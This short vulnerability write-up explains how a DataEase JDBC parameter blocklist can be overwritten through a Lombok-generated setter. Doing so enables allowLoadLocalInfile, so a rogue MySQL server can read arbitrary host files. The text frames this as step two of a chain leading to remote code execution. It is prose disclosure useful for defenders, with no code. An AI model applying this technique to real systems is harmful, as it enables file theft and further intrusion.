DataEase: JDBC parameter blocklist bypass via Lombok @Data setter exposure

DataEase exposes a "Datasource" feature that lets a logged-in administrator add JDBC connections to MySQL/PostgreSQL/Oracle/etc. To prevent that administrator from setting dangerous JDBC parameters (which can turn a benign "open a database connection" action into file read or deserialization), the server keeps a server-side blocklist of parameter names — at minimum allowLoadLocalInfile, autoDeserialize, allowMultiQueries, and similar.

The blocklist is held on a Java configuration bean. Its class is annotated with Lombok @Data, which auto-generates a public no-arg setter for every non-final field, including the blocklist field itself. Spring's default JSON binding (Jackson) then happily calls that setter when the JSON request body contains a matching key. An admin (the threat model) submitting the "add datasource" form can therefore include a JSON field that overwrites the blocklist with [] in the same request that pushes a custom extraParams value through the JDBC URL.

Once allowLoadLocalInfile=true reaches the JDBC URL, the MySQL JDBC client will honor any LOCAL INFILE response from the server it connects to — including a rogue MySQL listener controlled by the same admin — and read arbitrary files off the DataEase host into the connection-test response.

This is step #2 of the public 4-CVE chain (auth bypass → blocklist bypass → stacked SQLi → Quartz deserialization RCE).